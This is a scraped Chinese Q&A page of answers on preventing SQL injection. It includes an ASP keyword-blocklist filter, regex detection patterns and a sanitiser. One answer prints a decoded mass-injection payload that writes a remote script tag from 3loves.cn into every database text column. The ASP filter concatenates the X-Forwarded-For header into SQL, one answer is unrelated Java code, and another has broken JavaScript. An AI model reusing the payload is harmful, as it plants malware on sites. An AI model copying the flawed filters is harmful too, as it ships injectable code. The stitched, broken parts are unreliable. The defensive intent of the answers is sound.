当前位置:首页 » 编程语言 » js防止sql注入

js防止sql注入

发布时间: 2022-05-31 14:53:14

❶ 如何防止表单提交过来的恶意JS脚本sql注入

1、禁止外部提交数据2、禁止未命名变量使用3、精确获取参数值类型,如有位数限制,再精确位数个数,其它全部输出自己写的错误提示以上3条足以在程序上实现防注入(不能防止服务器或数据库本身注入),具体怎么写是根据具体是哪种语言来写的,可以网络那个语言的这三种方式要怎么写。

❷ html form post/get或JS window.location.href 传值到控制器,如何防止SQL注入

1、禁止外部提交数据
2、禁止未命名变量使用
3、精确获取参数值类型,如有位数限制,再精确位数个数,其它全部输出自己写的错误提示
以上3条足以在程序上实现防注入(不能防止服务器或数据库本身注入),具体怎么写是根据具体是哪种语言来写的,可以网络那个语言的这三种方式要怎么写。

❸ 网站SQL被注入,怎么防

============================================

'--------版权说明------------------
'SQL通用防注入程序 V3.1 β
'2.0强化版,对代码做了一点优化,加入自动封注入者Ip的功能!^_^
'3.0版,加入后台登陆查看注入记录功能,方便网站管理员查看非法记录,以及删除以前的记录,是否对入侵者Ip解除封锁!
'3.1 β版,加入对cookie部分的过滤,加入了对用js书写的asp程序的支持!
'Neeao站点:http://www.neeao.com
'Mail:neeaocn[AT]Gamil.com
'
'--------定义部份------------------
Dim N_Post,N_Get,N_In,N_Inf,N_Xh,N_db,N_dbstr,Kill_IP,WriteSql
Dim aApplicationValue

N_In = "'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|master|truncate|char|declare"
Kill_IP = 1
WriteSql = 1
alert_url = "/index.asp"
alert_info = "请不要在参数中包含非法字符尝试注入!\n如果你多次尝试,我们将屏蔽你所在的IP!\n\n"
kill_info = "系统提示你↓你的Ip已经被自动锁定!\n\n如想访问本站请和管理员联系!"
N_type = 4
Sec_Forms = ""
Sec_Form_open = 0

Sec_Form = split(Sec_Forms,"|")
N_Inf = split(N_In,"|")

If Kill_IP=1 Then Stop_IP

If Request.Form<>"" Then StopInjection(Request.Form)

If Request.QueryString<>"" Then StopInjection(Request.QueryString)

If Request.Cookies<>"" Then StopInjection(Request.Cookies)

Function Stop_IP()
Dim Sqlin_IP,rsKill_IP,Kill_IPsql
Sqlin_IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if Sqlin_IP="" then
Sqlin_IP = Request.ServerVariables("REMOTE_ADDR")
end if
Kill_IPsql="select Sqlin_IP from SqlIn where Sqlin_IP='"&Sqlin_IP&"' and kill_ip=1"
Set rsKill_IP=conn.execute(Kill_IPsql)
If Not(rsKill_IP.eof or rsKill_IP.bof) Then
N_Alert(kill_info)
Response.End
End If
rsKill_IP.close
End Function

Function N_Alert(alert_info)
Dim str
str = "<"&"Script Language=javaScript"&">"
Select Case N_type
Case 1
str = str & "window.opener=null; window.close();"
Case 2
str = str & "alert('"&alert_info&"http://www.Neeao.Com\n\nBy:Neeao');window.opener=null; window.close();"
Case 3
str = str & "location.href='"&alert_url&"';"
Case 4
str = str & "alert('"&alert_info&"');window.opener=null; window.close();"
end Select
str = str & "<"&"/Script"&">"
response.write str
End Function

Function intype(values)
Select Case values
Case Request.Form
intype = "Post"
Case Request.QueryString
intype = "Get"
Case Request.Cookies
intype = "Cookies"
end Select
End Function

Function StopInjection(values)
For Each N_Get In values
If values = Request.Form Then
If Sec_Form_open = 1 Then
Security_From(values)
Else
Select_BadChar(values)
End If
Else
Select_BadChar(values)
End If
Next
End Function

Function Select_BadChar(values)
For N_Xh=0 To Ubound(N_Inf)
If Instr(LCase(values(N_Get)),N_Inf(N_Xh))<>0 Then
If WriteSql = 1 Then InsertInfo(values)
N_Alert(alert_info)
Response.End
End If
Next
End Function

Function Security_From(values)
For N_i=0 To UBound(Sec_Form)
response.write N_Get
If Instr(LCase(N_Get),Sec_Form(N_i))= 0 Then Select_BadChar(values)
Next
End Function

Function InsertInfo(values)
Dim ip,url,sql
ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if IP="" then
IP = Request.ServerVariables("REMOTE_ADDR")
end if
'ip = Request.ServerVariables("REMOTE_ADDR")
url = Request.ServerVariables("URL")
sql = "insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ,SqlIn_Time) values('"&ip&"','"&url&"','"&intype(values)&"','"&N_Get&"','"&N_Replace(values(N_Get))&"','"&Now()&"')"
'response.write sql
conn.Execute(sql)
set rs=server.createobject("adodb.recordset")
sql="select count(id) as countid from SqlIn where sqlin_IP='"&ip&"'"
rs.open sql,conn,2,3
if rs("countid")>5 then
sql="update SqlIn set kill_ip=1 where sqlin_ip='"&ip&"'"
conn.execute(sql)
end if
rs.close
set rs=nothing
conn.close
Set conn = Nothing
End Function

Function N_Replace(N_urlString)
N_urlString = Replace(N_urlString,"'","''")
N_urlString = Replace(N_urlString, ">", ">")
N_urlString = Replace(N_urlString, "<", "<")
N_Replace = N_urlString
End Function

===================================================

❹ node js怎么防止sql注入

public class Calcul {
public static void main(String[] args) {
circularArea();
}
public static void circularArea(){
int r=2;
float π=3.14f;
float circularArea = π*r*r;
System.out.println(circularArea);
}

❺ JSP网站如何防范SQL注入攻击

2、正则表达式 2.1、检测SQL meta-characters的正则表达式 /(\%27)|(\')|(\-\-)|(\%23)|(#)/ix 2.2、修正检测SQL meta-characters的正则表达式 /((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-) 54ne.com |(\%3B)|(:))/i 2.3、典型的 SQL 注入攻击的正则表达式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\ 中国网管联盟 %52))/ix 2.4、检测SQL注入,UNION查询关键字的正则表达式 /((\%27)|(\'))union/ix(\%27)|(\') - 单 引号和它的hex等值 union - union关键字。 2.5、检测MS SQL Server SQL注入攻击的正则表达式 /exec(\s|\+)+(s|x)p\w+/ix 3、字符串过滤 public static String filterContent(String content){ String flt ="'|and|exec|insert|select|delete|update|count|*|% |chr|mid|master|truncate|char|declare|; |or|-|+|,"; Stringfilter[] = flt.split("|"); for(int i=0; i { content.replace(filter[i], ""); } return content; } 4、不安全字符屏蔽 本部分采用js来屏蔽,起的作用很小,这样用屏蔽关键字的方法虽然有一定作用,但是在实际应用中这些 SQL的关键字也可能成为真正的查询关键字,到那是被你屏蔽了那用户不是不能正常的使用了。 只要在代码规范上下点功夫就可以了。 功能介绍:检查是否含有"'","\\","/" 参数说明:要检查的字符串 返回值:0:是 1:不是 函数名是 function check(a) { return 1; fibdn = new Array ("'" ,"\\","/"); i=fibdn.length; j=a.length; for (ii=0; ii { for (jj=0; jj { temp1=a.charAt(jj); temp2=fibdn[ii]; if (tem'; p1==temp2) { return 0; } } } return 1; }

❻ 如何防止javascript注入攻击

很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:

<form action="sendmessage.php" method="post'">
<textarea name="message"> </textarea>
<input type="submit" value="send" />
</form>

当用户点击发送时,这条消息会被保存在数据库中指定的数据表中,另一个用户当打开这条消息的时候将看到发送的内容。但是,如果一个恶意攻击者发送的内容包含了一些javascript代码,这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候,恶意的javascript代码就会得到执行,造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持,直接以合法用户的身份登录其他用户的账户。
恶意攻击者可以在消息框中加入一下javascript代码:

❼ 用js写一个防sql注入的 函数,能起到效果吗

防止sql注入攻击,在数据库方面,针对每一个表的增删改,写存储过程,程序主要靠存储过程操作数据。 在代码中,个别特殊需要数据查询的,如果不能通过存储过程,那就尽量用传参的方式,尽量不要拼接sql。 如果非要拼接,要对拼接字符串进行处理,Tools的如下字符串处理方法可以防止注入攻击: ///  /// 格式化文本(防止SQL注入) ///  ///  ///  public static string AntiSQL(string html) {     Regex regex一 = new Regex(@"<script[\s\S]+", RegexOptions.IgnoreCase);     Regex regex二 = new Regex(@" href *= *[\s\S]*script *:", RegexOptions.IgnoreCase);     Regex regex三 = new Regex(@" on[\s\S]*=", RegexOptions.IgnoreCase);     Regex regex四 = new Regex(@"<iframe[\s\S]+", RegexOptions.IgnoreCase);     Regex regex5 = new Regex(@"<frameset[\s\S]+", RegexOptions.IgnoreCase);     Regex regex一0 = new Regex(@"select", RegexOptions.IgnoreCase);     Regex regex一一 = new Regex(@"update", RegexOptions.IgnoreCase);     Regex regex一二 = new Regex(@"delete", RegexOptions.IgnoreCase);     html = regex一.Replace(html, ""); //过滤标记     html = regex二.Replace(html, ""); //过滤href=javascript: () 属性     html = regex三.Replace(html, " _disibledevent="); //过滤其它控件的on...事件     html = regex四.Replace(html, ""); //过滤iframe     html = regex一0.Replace(html, "s_elect");     html = regex一一.Replace(html, "u_pudate");     html = regex一二.Replace(html, "d_elete");     html = html.Replace("'", "’");     html = html.Replace(" ", " ");     return html;

❽ 寻求高手破解sql语句,sql注入防止方法!!

我来告诉你!
因为刚好攻击我们的代码也跟这类似
这段代码是由字符串转为16进制代码而生成的。
你只要找个工具转回来就全明白了

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://3loves.cn/k.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

这回看明白了吧
他利用你的数据库连接用户权限过高的漏洞
通过创建动态sql,把你当前库的所有数据表和字段调出来,然后遍历所有表和字段,把那段<script src=http://3loves.cn/k.js></script>代码更新进去。

那么如何防止:
1、在你的脚本程序里禁止外部提交
2、对SQL注入做处理
3、降低数据库连接用户的权限

❾ 关于搜索框sql注入的问题,限制搜索框中只能输入数字是不是能防止sql注入

这是一种前端js校验的安全机制,在某种程度上是可以防止SQL注入的攻击。正所谓一切的输入都是罪恶的源泉,所以从输入源头尽量去规避一些风险是必要的。
但是在后端的程序中,也尽量使用成熟的框架,按照标准的开发规则去写代码,比如:不要使用${userName}这样的方式变量出现在访问数据库的SQL语句中。

热点内容
h板电影种子ftp 发布:2025-02-11 09:06:10 浏览:738
c语言数据类型定义 发布:2025-02-11 09:00:38 浏览:237
一个小时如何选择服务器 发布:2025-02-11 08:58:14 浏览:442
网易我的世界服务器推荐国服 发布:2025-02-11 08:56:34 浏览:241
电视父母锁屏密码应该会是什么 发布:2025-02-11 08:36:42 浏览:892
梅花适合用哪些植物进行配置 发布:2025-02-11 08:30:54 浏览:252
安卓手机如何像苹果一样弹窗 发布:2025-02-11 08:26:33 浏览:912
压缩文件扫码 发布:2025-02-11 08:20:55 浏览:258
小米5安卓70怎么分屏 发布:2025-02-11 08:00:58 浏览:140
访问二维码 发布:2025-02-11 08:00:11 浏览:883